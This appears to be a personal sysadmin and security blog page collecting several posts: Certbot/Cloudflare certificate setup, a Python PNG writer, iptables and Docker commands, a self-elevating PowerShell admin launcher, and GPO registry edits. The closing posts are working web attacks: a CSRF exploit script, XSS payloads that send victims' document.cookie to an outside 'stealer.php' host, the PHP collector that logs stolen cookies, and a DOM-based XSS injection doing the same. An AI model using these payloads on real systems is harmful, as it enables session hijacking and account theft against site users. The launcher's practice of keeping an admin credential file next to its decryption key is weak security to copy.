bookmark_borderLet’s Encrypt / Certbot / NGINX / Cloudflare setup

Generate CloudFlare API token

  • Login to CloudFlare
  • My Profile > API Token > Create Token
  • Use template from “Edit zone DNS”
  • Keep default values from “Permissions”
  • In “Zone Resources”, include only the domain for which the certificate will be generated
  • Copy generated token

docker-compose – Dockerfile

letsencrypt:
    build: ./folder-to-dockerfile/
    command: /bin/true
    volumes:
        - letsencrypt_certs:/etc/letsencrypt
        - letsencrypt_www:/var/www/letsencrypt
    container_name: letsencrypt
FROM certbot/dns-cloudflare

COPY my_secrets_settings.ini .

Where my_secrets_settings.ini contains your previously generated API token :

dns_cloudflare_api_token = your_api_token

Generate single entry certificate

docker-compose run --rm letsencrypt certonly -w /var/www/letsencrypt --dns-cloudflare --dns-cloudflare-credentials my_secrets_settings.ini -d losnia.com

Generate multiple entries certificate

docker-compose run --rm letsencrypt certonly -w /var/www/letsencrypt --dns-cloudflare --dns-cloudflare-credentials my_secrets_settings.ini -d losnia.com -d subdomain.losnia.com

Generate wildcard certificate

docker-compose run --rm letsencrypt certonly -w /var/www/letsencrypt --dns-cloudflare --dns-cloudflare-credentials my_secrets_settings.ini -d losnia.com -d "*.losnia.com"

NGINX configuration

Mount the same volume as used by the Certbot container :

volumes:
        - letsencrypt_certs:/etc/nginx/certs
        - letsencrypt_www:/var/www/letsencrypt

Target generated certificate :

http {
    ssl_certificate certs/live/losnia.com/fullchain.pem;
    ssl_certificate_key certs/live/losnia.com/privkey.pem;

    include    /etc/nginx/conf.d/*;
}

bookmark_borderPython – PNG on-the-fly Stream Writer

Under writing.

import zlib, binascii
from struct import pack, unpack
class PNGColorType():
    GRAYSCALE = 0
    RGB = 2
    PLTE = 3
    GRAYSCALE_A = 4
    RGBA = 6
class PNGCompression():
    NO_COMPRESSION = 0
class PNGFilter():
    NO_FILTER = 0
class PNGInterlace():
    NO_INTERLACE = 0
class PNG():
    SIGNATURE = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
    def __init__(self, width, height, bpp, _color = PNGColorType.GRAYSCALE, _compression = PNGCompression.NO_COMPRESSION, _filter = PNGFilter.NO_FILTER, _interlace = PNGInterlace.NO_INTERLACE ):
        self.width = width
        self.height = height
        self.bpp = bpp
        self.color = _color
        self.compression = _compression
        self.filter = _filter
        self.interlace = _interlace
    def get_signature(self):
        return pack('>{}B'.format( len(PNG.SIGNATURE) ), *PNG.SIGNATURE)
    def get_ihdr(self):
        TYPE = b'IHDR'                   # CHUNK TYPE
        DATA = pack('>IIBBBBB',
            self.width & 0xFFFFFFFF,    # WIDTH
            self.height & 0xFFFFFFFF,   # HEIGHT
            self.bpp & 0xFF,            # BPP
            self.color & 0xFF,          # COLOR TYPE
            self.compression & 0xFF,    # COMPRESSION
            self.filter & 0xFF,         # FILTER
            self.interlace & 0xFF       # INTERLACE
        )
        LENGTH = len(DATA)              # LENGTH
        CRC = binascii.crc32(
            TYPE + DATA
        )
        return pack('>I4s', LENGTH, TYPE) + DATA + pack('>i', CRC)
    def create_idat(self, data):
        if not isinstance(data, list) and not isinstance(data, tuple):
            data = [data]
        TYPE = b'IDAT'                  # CHUNK TYPE
        raw = b"\0" # no filter for this scanline
        for d in data:
            raw += pack('>H', d)
        compressor = zlib.compressobj()
        DATA = compressor.compress(raw)
        DATA += compressor.flush()
        LENGTH = len(DATA)              # LENGTH
        CRC = binascii.crc32(
            TYPE + DATA
        )
        return pack('>I4s', LENGTH, TYPE) + DATA + pack('>i', CRC)
    def get_iend(self):
        TYPE = b'IEND'                  # CHUNK TYPE
        LENGTH = 0                      # LENGTH
        return pack('>I4si', LENGTH, TYPE, binascii.crc32(TYPE))
def main():
    x = 10
    y = 10
    test = PNG(x, y, 16, PNGColorType.RGB, PNGCompression.NO_COMPRESSION, PNGFilter.NO_FILTER, PNGInterlace.NO_INTERLACE)
    RED = 0xF000
    GREEN = 0x0F00
    BLUE = 0x000F
    WHITE = 0xFFFF
    BLACK = 0x000F
    with open('toast.png', 'wb') as f:
        f.write( test.get_signature() )
        f.write( test.get_ihdr() )
        for i in range(10):
            f.write( test.create_idat( (RED, BLUE) ) )
        f.write( test.get_iend() )
main()

bookmark_borderDebian Buster – Revert from nftables to iptables

Many software like Docker or fail2ban won’t work out-of-the-box if you’re using now default nftables in Debian Buster.

To revert back to iptables, run the following :

update-alternatives --set iptables /usr/sbin/iptables-legacy
update-alternatives --set ip6tables /usr/sbin/ip6tables-legacy
update-alternatives --set arptables /usr/sbin/arptables-legacy
update-alternatives --set ebtables /usr/sbin/ebtables-legacy

To cancel the change and use nftables :

update-alternatives --set iptables /usr/sbin/iptables-nft
update-alternatives --set ip6tables /usr/sbin/ip6tables-nft
update-alternatives --set arptables /usr/sbin/arptables-nft
update-alternatives --set ebtables /usr/sbin/ebtables-nft

bookmark_borderDocker memento

Run and detach containers with docker-compose :

docker-compose up -d

Stop all containers :

docker stop $(docker ps -a -q)

Start a bash terminal as user X in a container Y :

docker exec -i -u X -t Y /bin/bash

Run, detach and (re)build with docker-compose :

docker-compose up -d --build

Clean useless containers :

docker system prune -a

bookmark_borderHow-to create a self-elevated INI config driven POSH WPF UI

This article describes how to dynamically generate an WPF UI from an INI configuration file to create an self-elevated administration launcher.

Restrictions :

  • ; are reserved for splitting parameters.
  • As a command-invoke, take care of any ', " and space issues with nested process call.

Customized INI configuration file syntax and examples :

[TabName[;OptionalColor]]
ButtonName[;OptionalColumnSpan;OptionalRowSpan]=PositionX;PositionY;ShellCommand[;OptionalAdditionnalShellCommand]
  • Declare a default tab : [Section]
  • Declare a colored tab : [Section;Maroon]
  • Declare a button with a default span in x = 0, y = 0 to start a new cmd.exe : Label=0;0;start cmd.exe
  • Declare a button with a defined column span of 2 and row span of 3 in x = 1, y = 0 to start a new cmd.exe : Label;2;3=start cmd.exe
  • Declare a button to start two independent commands : Label;2;3=start cmd.exe;start powershell.exe
  • pushd to current home configured directory : pushd $HOME & powershell.exe -File .\modules\module.ps1

Example of INI configuration file :

[Global]
Home=\\myhome\home$\
Title=Launcher v1.0
Width=400
Height=200
Rows=3
Colums=3
;Resize=NoResize
[System;Navy]
Explorer=0;0;explorer.exe
Control Panel=0;1;control.exe
Task Manager=0;2;taskmgr.exe
Remote Desktop=1;0;mstsc.exe
Remote Assistance=1;1;%windir%\system32\msra.exe
Computer Management=1;2;%windir%\system32\compmgmt.msc /s
SCOM=2;0;"C:\Program Files\System Center Operations Manager 2012\Console\Microsoft.EnterpriseManagement.Monitoring.Console.exe"
SCCM=2;1;"C:\Program Files (x86)\Microsoft Configuration Manager\AdminConsole\bin\Microsoft.ConfigurationManagement.exe"
[MMC;DimGray]
DHCP=0;0;%windir%\system32\dhcpmgmt.msc
DNS=0;1;%windir%\system32\dnsmgmt.msc
Print Management=0;2;%windir%\system32\printmanagement.msc
Active Directory=1;0;%windir%\system32\dsa.msc
Group Policy=1;1;%windir%\system32\gpmc.msc
Registry=1;2;%windir%\regedit.exe
[Development;Maroon]
Command Prompt=0;0;start cmd.exe
Powershell=1;0;start powershell.exe
Powershell ISE=2;0;%windir%\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
Debug=1;2;"C:\Program Files\System Center Operations Manager 2012\Console\Microsoft.EnterpriseManagement.Monitoring.Console.exe";"C:\Program Files (x86)\Microsoft Configuration Manager\AdminConsole\bin\Microsoft.ConfigurationManagement.exe" 
[VMWare;Green]
Console=0;0;"C:\Program Files (x86)\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe"
Console Selection=0;1;pushd $HOME & powershell.exe -File .\modules\vmware.ps1
[NetApp;DodgerBlue]
AC=0;1;A.exe
NetApp EasyConnect=2;1;powershell.exe -File "C:\01_Sysadmin_Tools\NetAppEasyConnect.ps1"
[Others]
KeyPass;1;3=2;0;pushd "\\myshare\shared$\software\KeyPass" & .\KeePassAdmin\Keepass.exe .\KeypassDB\database.kdbx
TreeSize=0;1;"C:\Program Files\JAM Software\TreeSize\TreeSize.exe"
;[Example;DarkGoldenRod]
;A00=0;0;
;A02=0;1;
;A04=0;2;
;A20=1;0;
;A22=1;1;
;A24=1;2;
;A40=2;0;
;A42=2;1;
;A44=2;2;

Powershell source code available on my GitHub and here:

param(
    [Parameter(Mandatory=$false)] [string] $OverrideConfig,
    # UI -Command fix, not an actal parameter
    [string] $Command
)
Add-Type -AssemblyName PresentationFramework
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$GUI_TITLE = "DynamicGUI"
$GUI_WIDTH = 400
$GUI_HEIGHT = 200
$GUI_ROWS = 3
$GUI_COLUMNS = 3
$GUI_RESIZE = "NoResize"
$CONFIG_PATH = "H:\"
$CONFIG_NAME = "config.ini"
$MASTERKEY_NAME = "master.key"
$ADMIN_SUFFIX = ".adm.crd"
function Get-IniFile {    
    param(
        [parameter(Mandatory = $true)] [string] $filePath,
        [string] $anonymous = 'NoSection',
        [switch] $comments,
        [string] $commentsSectionsSuffix = '_',
        [string] $commentsKeyPrefix = 'Comment'
    )
    $ini = [Ordered]@{}
    switch -regex -file ($filePath) {
        "^\[(.+)\]$" {
            # Section
            $section = $matches[1]
            $ini[$section] = [Ordered]@{}
            $CommentCount = 0
            if ($comments) {
                $commentsSection = $section + $commentsSectionsSuffix
                $ini[$commentsSection] = [Ordered]@{}
            }
            continue
        }
        "^(;.*)$" {
            # Comment
            if ($comments) {
                if (!($section)) {
                    $section = $anonymous
                    $ini[$section] = @{}
                }
                $value = $matches[1]
                $CommentCount = $CommentCount + 1
                $name = $commentsKeyPrefix + $CommentCount
                $commentsSection = $section + $commentsSectionsSuffix
                $ini[$commentsSection][$name] = $value
            }
            continue
        }
        "^(.+?)\s*=\s*(.*)$" {
            # Key
            if (!($section)) {
                $section = $anonymous
                $ini[$section] = @{}
            }
            $name, $value = $matches[1..2]
            $ini[$section][$name] = $value
            continue
        }
    }
    return $ini
}
function escapeDoubleQuote {
    param(
        [parameter(Mandatory = $true)] [array] $commands
    )
    for ( $i = 0; $i -lt $commands.Count; $i++ ) {   
        $commands[$i] = $commands[$i].Replace("`"", "`"`"`"")
    }
    return $commands
}
function ReplaceInArray {
    param(
        [parameter(Mandatory = $true)] [array] $Array,
        [parameter(Mandatory = $true)] [String] $Keyword,
        [parameter(Mandatory = $true)] [String] $Replacement
    )
    for ( $i = 0; $i -lt $Array.Count; $i++ ) {   
        $Array[$i] = $Array[$i].Replace($Keyword, $Replacement)
    }
    return $Array
}
function GetCredential {
    param(
        [parameter(Mandatory = $true)] [String] $Username,
        [parameter(Mandatory = $true)] [String] $Master,
        [parameter(Mandatory = $true)] [String] $Credential
    )
    return (New-Object System.Management.Automation.PSCredential($Username, (Get-Content $Credential | ConvertTo-SecureString -Key (Get-Content($Master)))))
}
function CreateCredential {
    param(
        [parameter(Mandatory = $true)] [String] $Username,
        [parameter(Mandatory = $true)] [String] $Master,
        [parameter(Mandatory = $true)] [String] $Credential
    )
    $Key = New-Object Byte[] 32
    [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($Key)
    $Key | Out-File $Master
    (Get-Credential $Username).Password | ConvertFrom-SecureString -Key (Get-Content $Master) | Set-Content $Credential
}   
# Unique ID for UI/UX
$GlobalID = 0
# Dedicated hashmap for onClick scripts to avoid looping on all INI again
$OnClickScripts = @{}
# Load INI file
if ( $OverrideConfig -eq "" ) {
    $ConfigComputedPath = Join-Path -Path ($CONFIG_PATH) -ChildPath $CONFIG_NAME
 }
else {    
    $ConfigComputedPath = $OverrideConfig
}
if ( Test-Path $ConfigComputedPath ) {
    $Config = Get-IniFile ($ConfigComputedPath)
}
else {
    [System.Windows.MessageBox]::Show("Unable to load $ConfigComputedPath")
}
# Default values management
if ( $Config["Global"]["Home"] -eq $null ) { $Config["Global"]["Home"] = $MyInvocation.MyCommand.Path }
if ( $Config["Global"]["Title"] -eq $null ) { $Config["Global"]["Title"] = $GUI_TITLE }
if ( $Config["Global"]["Width"] -eq $null ) { $Config["Global"]["Width"] = $GUI_WIDTH }
if ( $Config["Global"]["Height"] -eq $null ) { $Config["Global"]["Height"] = $GUI_HEIGHT }
if ( $Config["Global"]["Rows"] -eq $null ) { $Config["Global"]["Rows"] = $GUI_ROWS }
if ( $Config["Global"]["Columns"] -eq $null ) { $Config["Global"]["Columns"] = $GUI_COLUMNS }
if ( $Config["Global"]["Resize"] -eq $null ) { $Config["Global"]["Resize"] = $GUI_RESIZE }
# Rights management
$WindowsIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$Domain, $Username = $WindowsIdentity.Name.Split("\")
$WindowsPrincipal = New-Object System.Security.Principal.WindowsPrincipal($WindowsIdentity)
$Administrators = [System.Security.Principal.WindowsBuiltInRole]::Administrator
$RunAs = ($WindowsIdentity.Name +".adm")
# Elevate with current config as parameter if no admin token
if ( -not ($WindowsPrincipal.IsInRole($Administrators)) ) {
    $UNCConfigPath = Join-Path -Path ($Config["Global"]["Home"] + $Username) -ChildPath ($CONFIG_NAME)
    $SelfElevatedCommand = ("Start-Process -WindowStyle Hidden -WorkingDirectory 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0' -FilePath 'powershell.exe' -Verb runAs -ArgumentList '{0}', \""'{1}'\""" -f $MyInvocation.MyCommand.Definition, $UNCConfigPath)
    # Credential management
    $KeyPath = Join-Path -Path ($Config["Global"]["Home"] + $Username) -ChildPath ($MASTERKEY_NAME)
    $CredentialPath = Join-Path -Path ($Config["Global"]["Home"] + $Username) -ChildPath ($Username + $ADMIN_SUFFIX)
    if ( -not (Test-Path $KeyPath) -or -not (Test-Path $CredentialPath) ) {
        [System.Windows.MessageBox]::Show("No credential found. Creating.")
        
        CreateCredential $RunAs $KeyPath $CredentialPath
    }
    $Credentials = GetCredential $RunAs $KeyPath $CredentialPath
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('domain')
    
    While ( $DS.ValidateCredentials($Credentials.GetNetworkCredential().UserName, $Credentials.GetNetworkCredential().Password) -eq $false ) {
        [System.Windows.MessageBox]::Show("Invalid credential found for $RunAs. Re-creating.")
        
        CreateCredential $RunAs $KeyPath $CredentialPath
        $Credentials = GetCredential $RunAs $KeyPath $CredentialPath
    }
    Start-Process -WorkingDirectory "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" -FilePath "powershell.exe" -Credential $Credentials -ArgumentList $SelfElevatedCommand
}
# UI generation
else {
    $Form = New-Object System.Xml.XmlDocument
    $Window = $Form.CreateNode("element", "Window", $null)
    $Window.SetAttribute("xmlns", "http://schemas.microsoft.com/winfx/2006/xaml/presentation") | Out-Null
    $Window.SetAttribute("xmlns:x", "http://schemas.microsoft.com/winfx/2006/xaml") | Out-Null
    $Window.SetAttribute("Title", $Config["Global"]["Title"]) | Out-Null
    $Window.SetAttribute("Width", $Config["Global"]["Width"]) | Out-Null
    $Window.SetAttribute("Height", $Config["Global"]["Height"]) | Out-Null
    $Window.SetAttribute("ResizeMode", $Config["Global"]["Resize"]) | Out-Null
    $MainGrid = $Form.CreateElement("Grid")
    $TabControl = $Form.CreateElement("TabControl")
    # Tab management
    Foreach ( $Tab in $Config.Keys ) {
        # Skip configuration part
        if ( $Tab -eq "Global" ) { Continue }
        $TabItem = $Form.CreateElement("TabItem")
        $TabItemHeader = $Form.CreateElement("TabItem.Header")
        $StackPanel = $Form.CreateElement("StackPanel")
        $StackPanel.SetAttribute("Orientation", "Vertical") | Out-Null
        # Get tab information
        $TabName, $TabColor = $Tab.Split(";")
        if ( $TabColor -eq $null ) { $TabColor = "Black" }
        $TextBlock = $Form.CreateElement("TextBlock")
        $TextBlock.SetAttribute("Text", $TabName) | Out-Null
        $TextBlock.SetAttribute("Foreground", $TabColor) | Out-Null
        $TextBlock.SetAttribute("FontWeight", "Bold") | Out-Null
        $Grid = $Form.CreateElement("Grid")
        $GridColumnDefinitions = $Form.CreateElement("Grid.ColumnDefinitions")
        for ( $i = 0; $i -le (2*$Config["Global"]["Rows"]-1); $i++ ) {
            $ColumnDefinition = $Form.CreateElement("ColumnDefinition")
            $ColumnDefinition.SetAttribute("Width", @("5", "1*")[($i % 2 -eq 0)]) | Out-Null
            $GridColumnDefinitions.AppendChild($ColumnDefinition) | Out-Null
        }
        $GridRowDefinitions = $Form.CreateElement("Grid.RowDefinitions")
        for ( $i = 0; $i -le (2*$Config["Global"]["Rows"]-1); $i++ ) {
            $RowDefinition = $Form.CreateElement("RowDefinition")
            $RowDefinition.SetAttribute("Height", @("5", "1*")[($i % 2 -eq 0)]) | Out-Null
            $GridRowDefinitions.AppendChild($RowDefinition) | Out-Null
        }
        $Grid.AppendChild($GridColumnDefinitions) | Out-Null
        $Grid.AppendChild($GridRowDefinitions) | Out-Null
    
        # Content management
        Foreach ( $Key in $Config[$Tab].Keys ) {
            Foreach ( $Value in $Config[$Tab][$Key] ) {
                # Column and row span management
                $ButtonLabel, $ButtonColumnSpan, $ButtonRowSpan = $Key.Split(";")
                $ButtonColumn, $ButtonRow, $ButtonScript = $Value.Split(";")
                #$ButtonScript = [array](escapeDoubleQuote @($ButtonScript))
                $ButtonScript = [array](ReplaceInArray @($ButtonScript) "`$HOME" (Split-Path -Path $ConfigComputedPath -Parent))
                $ButtonScript = [array](@($ButtonScript))
                $Button = $Form.CreateElement("Button")
                $Button.SetAttribute("Grid.Column", 2*$ButtonColumn) | Out-Null
                $Button.SetAttribute("Grid.Row", 2*$ButtonRow) | Out-Null
                $Button.SetAttribute("x:Name", "ID$GlobalID") | Out-Null
                $Button.InnerText = $ButtonLabel
                if ( -not ($ButtonColumnSpan -eq $null) ) {
                    $Button.SetAttribute("Grid.ColumnSpan", 2*$ButtonColumnSpan) | Out-Null
                }
                if ( -not ($ButtonRowSpan -eq $null) ) {
                    $Button.SetAttribute("Grid.RowSpan", 2*$ButtonRowSpan) | Out-Null
                }
                $ButtonContentTemplate = $Form.CreateElement("Button.ContentTemplate")
                # Manage onClick scripts in a separate hashmap to avoid looping on all INI again
                $OnClickScripts["ID$GlobalID"] = $ButtonScript
                $GlobalID += 1
                $Grid.AppendChild($Button) | Out-Null
            }
        } 
        $StackPanel.AppendChild($TextBlock) | Out-Null
        $TabItemHeader.AppendChild($StackPanel) | Out-Null
        $TabItem.AppendChild($TabItemHeader) | Out-Null
        $TabItem.AppendChild($Grid) | Out-Null
        $TabControl.AppendChild($TabItem) | Out-Null
    }
    $MainGrid.AppendChild($TabControl) | Out-Null
    $Window.AppendChild($MainGrid) | Out-Null
    $Form.AppendChild($Window) | Out-Null
    #Create a form
    $XMLReader = (New-Object System.Xml.XmlNodeReader ([xml]$Form.InnerXML))
    $XMLForm = [Windows.Markup.XamlReader]::Load($XMLReader)
    # Onclick management
    Foreach ( $Key in $OnClickScripts.Keys ) {
        $Button = $XMLForm.FindName($Key)
        $Button.Tag = @{Script=$($OnClickScripts[$Key])}
        $DynamicScript = {
            param($Sender)
            foreach ( $Script in $($Sender.Tag.Script) ) {
                Start-Process 'cmd' -WindowStyle Hidden -Verb RunAs -ArgumentList "/c $Script"
            }
        }
        $Button.Add_click($DynamicScript)
    }
    #Show XMLform
    $XMLForm.ShowDialog()
}

bookmark_borderEdit “Extra Registry Settings” from GPO

Create / Update a key :

Set-GPRegistryValue -Name "GPO_NAME" -Key "HKLM\Software\Policies\Microsoft\Windows Defender" -ValueName "KEY_NAME" -Value "KEY_VALUE" -Type "String"

Available key type :

  • String
  • ExpandString
  • Binary
  • DWord
  • MultiString
  • QWord

Remove a key :

Remove-GPRegistryValue -Name "GPO_NAME" -Key "HKLM\Software\Policies\Microsoft\Windows Defender" -ValueName "KEY_NAME"

bookmark_borderXHR CSRF exploit

With out filter and regular form :

var target = "https://target.com";
var params = "username=myUsername&password=myPassword";
var xhr = new XMLHttpRequest();  
xhr.open("POST", target, false); 
xhr.send(params);

With CSRF token filter and multipart/form-data form :

var res = null;
var target = "https://target.com";
// Fetch initial CSRF token
var xhr = new XMLHttpRequest();  
xhr.open("GET", target, false); 
xhr.send(null);
if ( xhr.readyState === 4 ) {
  // Emulate a new div to parse response data as DOM
  res = document.createElement( 'div' );
  res.innerHTML = xhr.responseText;
  res.querySelector("#token");
  token = res.querySelector("#token").value;
  // Send the payload
  xhr.open("POST", target, false);
  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarygBe7zTLe1GhTyPGA");
  xhr.send('------WebKitFormBoundarygBe7zTLe1GhTyPGA\n' +
        'Content-Disposition: form-data; name="username"\n\n' +
        'myUsername\n' +
        '------WebKitFormBoundarygBe7zTLe1GhTyPGA\n' +
        'Content-Disposition: form-data; name="password"\n\n' +
        'myPassword\n' +
        '------WebKitFormBoundarygBe7zTLe1GhTyPGA\n' +
        'Content-Disposition: form-data; name="token"\n\n' +
        token +'\n' +
        '------WebKitFormBoundarygBe7zTLe1GhTyPGA--');
  if ( xhr.readyState === 4 ) {
     // Log the result
     console.log(xhr.responseText);
  }
}

bookmark_borderXSS Cookie Stealer

Two way :

  • Redirection
  • Hidden image load

Initialize a redirection to your cookie stealer on the vulnerable target :

<script type="text/javascript">
location.href = 'https://myserver.com/stealer.php?cookie='+ document.cookie;
</script>

Or load an image :

<script type="text/javascript">
image = new Image();
image.src='https://myserver.com/stealer.php?cookie='+ document.cookie;
</script>

Then set up your cookie stealer on your server :

<?php
// Get cookie given in parameter
$cookie = $_GET['cookie']; 
// Saving file and max size
$filename = 'intercept.txt';
$MAX_SIZE = 4096;
// If data is available, append it to the list
if ( $cookie ) {
  // Quick security to avoid file oversizing over time
  if ( file_exists($filename) && filesize($filename) > $MAX_SIZE ) {
    $option = 'w';
  }
  else {
    $option = 'a';
  }
  $fp = fopen($filename, $option);
  fputs($fp, $cookie . '\r\n');
  fclose($fp);
}
?>
// Redirect the user to a standard location
<script>location.replace('https://losnia.com');</script>

Result will be displayed in intercept.txt as following :

PRIVILEGE_COOKIE=IsI9P7dLS8oIOq4ckeNM2WfD6

bookmark_borderDOM based XSS exploit

For a dictionary with user input data :

  • A clan name
  • An area

Even if JS keywords and most special characters are banned, a malevolent user can still manage to exploit the data.

For example, using advanced techniques such as characters escaping and updating to DOM, an attacker will be able to totally change a function to its will.

<script type="text/javascript">
this.character= {
                "player": "Kaël",
                "clan": "Losnia",
                "functions": {
                    "compute": this.compute,
                    "reset": this.reset,
                    "giveup": this.giveup
                },
                "area": "France"
            };
</script>
clan="/*
area=a*/,functions:{computer:this.compute,reset:this.reset,giveup:{d:window[ /locat/.source%2B/ion/.source]=/https:\/\/myserver.com\/stealer.php?c=/.source%2Bdocument.cookie}}//